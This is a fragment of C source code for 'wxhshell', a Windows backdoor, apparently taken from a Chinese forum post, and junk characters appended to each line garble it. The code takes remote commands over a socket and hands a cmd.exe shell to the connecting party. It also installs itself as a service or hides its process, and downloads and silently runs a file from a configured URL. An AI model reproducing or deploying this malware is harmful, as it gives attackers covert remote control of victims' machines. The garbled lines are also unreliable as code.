  else { f#9DU}2m  
iM'{,~8R5  
    switch(cmd[0]) { |UbwPL_L  
  tF> ?]  
  // 帮助 K]q9wR'q  
  case '?': { bY6y)l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P<@Yux#  
    break; xHN"7j}h  
  } >{_`J  
  // 安装 y~jKytq^@  
  case 'i': { Q<]~>cd^  
    if(Install()) tmAc=?|Wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nr/^HjMV  
    else ~ ;aSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G~Oj}rn  
    break; \ ]AsL&  
    } YE#OAfj~  
  // 卸载 5x/q\p-{/  
  case 'r': { 0q%=Vs~@g  
    if(Uninstall()) zw=as9z1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%L]ifA9!  
    else =A,32&;@N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .F=15A  
    break; a ^+b(&;k  
    } #vN\]e  
  // 显示 wxhshell 所在路径 E|2klA^+*  
  case 'p': { z_XI,u}  
    char svExeFile[MAX_PATH]; -B\`O*Q  
    strcpy(svExeFile,"\n\r"); =Ewa}$-  
      strcat(svExeFile,ExeFile); ]1]  
        send(wsh,svExeFile,strlen(svExeFile),0); MmOGt!}9A  
    break; H9)$ #r6i  
    } 64s9Dy@%F  
  // 重启 Q$iGpTL  
  case 'b': { SZ}t_w `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hl&]r'bK  
    if(Boot(REBOOT)) rnxO2   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(&,&$1K  
    else { ~Ra1Zc$o:  
    closesocket(wsh); O2{_:B>K[  
    ExitThread(0); p\e*eV1dxx  
    } 1{+Ni{  
    break; hB:R8Y^?H  
    } S<+_yB?  
  // 关机 XQ:HH 8  
  case 'd': { 6 USet`#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c4CBpi?}  
    if(Boot(SHUTDOWN)) 2l+O|R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <wTkPErUG  
    else { fw^mjD  
    closesocket(wsh); 7<{Zq8)  
    ExitThread(0); #'z\[^vp  
    } 6m21Y8N  
    break; KM (U-<<R  
    } r2QC$V:0  
  // 获取shell zqYfgV  
  case 's': {  U^ BB|  
    CmdShell(wsh); *n?6x!A  
    closesocket(wsh); +7+ VbsFG  
    ExitThread(0); uXeBOLC  
    break; t]FFGnBZ  
  } y)U8\  
  // 退出 Z<y +D-/  
  case 'x': { s@o"V >t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f7OfN#I  
    CloseIt(wsh); n*D)RiW  
    break; l;Zc[6  
    } D]b5*_CT  
  // 离开 >C_! }~  
  case 'q': { f%*-PW^*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]-{T-*h:  
    closesocket(wsh); V0JoUyZ  
    WSACleanup(); CNcH)2Mk  
    exit(1); nC`#Hm.V%  
    break; I+O !<S B  
        } 7"4|`y^#  
  } $Ry NM2YI  
  } biGaP#"0  
\ox:/-[c\<  
  // 提示信息 1Sz5&jz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2T?t[;-  
} ]RnX'yw^  
  } vR1%&(f{  
{LJCY<IGq  
  return; #D//oL"u]  
} x+yt| &B  
e%'9oAz  
// shell模块句柄 ,\}V.:THF  
int CmdShell(SOCKET sock) 0e vxRcrzz  
{ 3CQpe  
STARTUPINFO si; C<w9f  
ZeroMemory(&si,sizeof(si)); lt0(Kf g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'zT/ x`V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Qu].nKe  
PROCESS_INFORMATION ProcessInfo; ew?UHV  
char cmdline[]="cmd"; <#|3z8N2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gq-U}r  
  return 0; wZrdr4j  
} uc7np]Z  
:sT<<LtI-  
// 自身启动模式 o ]Vx6  
int StartFromService(void) 103^\Av8  
{ &Vgjd>  
typedef struct NJl|/(]v  
{ @Gn9x(?J  
  DWORD ExitStatus; -QS_bQG%  
  DWORD PebBaseAddress; y'pG'"U]_  
  DWORD AffinityMask; 8CEy#%7]}  
  DWORD BasePriority; N;[w`d'#  
  ULONG UniqueProcessId; >!WJ{M0  
  ULONG InheritedFromUniqueProcessId; HM[BFF[;/  
}   PROCESS_BASIC_INFORMATION; :syR4A WM  
&a:>P>\  
PROCNTQSIP NtQueryInformationProcess; $/wr?  
)SDGj;j+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;#xhlR* ~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R~Xl(O  
VCc4nn#  
  HANDLE             hProcess; &x=<>~Ag3  
  PROCESS_BASIC_INFORMATION pbi; 4a)qn?<z  
SH}O?d\Q:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @&M $`b ^  
  if(NULL == hInst ) return 0; = )(;  
8:M~m]Z+|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tU)+q?Mw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kc "U)>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6'wP?=  
Uw)K [T  
  if (!NtQueryInformationProcess) return 0; 3{$c b"5  
$6oLiYFX;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .)W8 U [  
  if(!hProcess) return 0; msoE8YK&tg  
l_}c[bAUu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ((?^B  
Jn:GqO  
  CloseHandle(hProcess); ,g\.C+.S  
"HYK~V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #4" \\  
if(hProcess==NULL) return 0; o^AK@\e:^Z  
IPT}JX'  
HMODULE hMod; zR`]8E]  
char procName[255]; +w}5-8mH&>  
unsigned long cbNeeded; ^AEg?[q  
].1R~7b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7qh_URt@  
@P@t/  
  CloseHandle(hProcess); v4S|&m  
q+m&V#FT%  
if(strstr(procName,"services")) return 1; // 以服务启动 S:R%%cy  
M=!x0V;  
  return 0; // 注册表启动 rP>5OLP  
} %Y!lEzB5  
Ig9$ PP+3  
// 主模块 hy6px  
int StartWxhshell(LPSTR lpCmdLine) 0,VbB7 z  
{ f:BW{Cij;y  
  SOCKET wsl; 02=eE|Y@  
BOOL val=TRUE; _e?(Gs0BM  
  int port=0; g4~{#P^i  
  struct sockaddr_in door; ixU1v~T  
7qnw.7p  
  if(wscfg.ws_autoins) Install(); & d~6MSk  
`|]juc  
port=atoi(lpCmdLine); Pu}2%P)p  
r?[Zf2&  
if(port<=0) port=wscfg.ws_port; ousoG$Pc  
=MoPOib\n  
  WSADATA data; (s \Nm_j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L%=u&9DmU  
DuCq16'0T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :@n e29,}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O*c +TiTb  
  door.sin_family = AF_INET; XV!P8n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '5{gWV`  
  door.sin_port = htons(port); :x16N|z  
RX#:27:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1k;X*r#  
closesocket(wsl); m:K/ )v*  
return 1; y5oiH  
} ;[%AeN5W  
T} U`?s`)  
  if(listen(wsl,2) == INVALID_SOCKET) { UF0PWpuO  
closesocket(wsl); ,Y}HP3  
return 1; ky[FNgQ3n  
} A.(Z0,S-i  
  Wxhshell(wsl); esFBWJ  
  WSACleanup(); d+z8^$z"  
.`iOWCS  
return 0; d)9=hp;,V  
91[(K'=&  
} z${DW@o3  
*\-6p0~A  
// 以NT服务方式启动 4fp}`U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CSIW|R@   
{ I+ydVj(Op  
DWORD   status = 0; lP0'Zg(  
  DWORD   specificError = 0xfffffff; i. 6c;KU  
b m`x  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  iCa#OQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qK,rT*5=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }eSaF@.  
  serviceStatus.dwWin32ExitCode     = 0; mM!Gomp  
  serviceStatus.dwServiceSpecificExitCode = 0; r m\]  
  serviceStatus.dwCheckPoint       = 0; J?LetyDNr]  
  serviceStatus.dwWaitHint       = 0; =J<3B H^m  
<Y9e n!3\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bRfac/:}  
  if (hServiceStatusHandle==0) return; |+f@w/+  
6||zfH  
status = GetLastError(); <0T|RhbY   
  if (status!=NO_ERROR) ?sk{(UN]  
{ Rcc9Tx(zvQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2.qEy6  
    serviceStatus.dwCheckPoint       = 0; f;x0Ho5C2  
    serviceStatus.dwWaitHint       = 0; ~5q1zr)E  
    serviceStatus.dwWin32ExitCode     = status; xG/B$DLn  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z8%?ej`8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e ^2n58  
    return; SFv'qDA  
  } DS%~'S  
Qzt'ZK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l|9' M'a  
  serviceStatus.dwCheckPoint       = 0; _(l?gj  
  serviceStatus.dwWaitHint       = 0; I() =Ufs5z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Bz1u|uc  
} < KG q  
\| &KD  
// 处理NT服务事件,比如:启动、停止 k<Qhw)M8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ct`j7[  
{ {7'Wi$^F  
switch(fdwControl) y)vK=,"  
{ :e /*5ix  
case SERVICE_CONTROL_STOP: 0Q?)?8_  
  serviceStatus.dwWin32ExitCode = 0; & 6'Rc#\P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l0 =[MXM4  
  serviceStatus.dwCheckPoint   = 0; /9ctmW1!<  
  serviceStatus.dwWaitHint     = 0; GXC,p(vbE  
  { 5.1z9[z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !6!Gx:  
  } G?kK:eV  
  return; e[ yN  
case SERVICE_CONTROL_PAUSE: @,Z0u2WLl6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5EU~T.4C<  
  break; !7Eodq-0  
case SERVICE_CONTROL_CONTINUE: NNt  n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5skxixG  
  break; *4/FN TC  
case SERVICE_CONTROL_INTERROGATE: Z _Wzm!:  
  break; !iO2yp  
}; pHT]2e#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mG"xo^1_H  
} .G.WPVE  
28k=@k^q  
// 标准应用程序主函数 8EI9&L>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _%q~K (::  
{ F+"_]  
84vd~Cf 9  
// 获取操作系统版本 |lt]9>|  
OsIsNt=GetOsVer(); SE'!j]6jI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h5SJVa  
Cb1w8l0  
  // 从命令行安装 8[;vC$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0z'GN#mT5  
ak7kb75o  
  // 下载执行文件 h);^4cU  
if(wscfg.ws_downexe) { ki?h7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jy5sZ }t[  
  WinExec(wscfg.ws_filenam,SW_HIDE); t%;w<1E  
} l|=4FIMD  
p}^5ru  
if(!OsIsNt) { T]\c2U  
// 如果时win9x,隐藏进程并且设置为注册表启动 |~r-VV(=  
HideProc(); L8 L1_  
StartWxhshell(lpCmdLine); '`3#FCg  
} >~SS^I0  
else yEq7ueJ'  
  if(StartFromService()) -~mgct5  
  // 以服务方式启动 R|C 2O[r}  
  StartServiceCtrlDispatcher(DispatchTable); ? 3=G'Ip5n  
else EHk\Q\  
  // 普通方式启动 DMM<,1  
  StartWxhshell(lpCmdLine); DcW?L^Mst  
qx t0Jr8  
return 0; G18w3BFx  
}
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只看该作者 1 发表于: 2006-10-10
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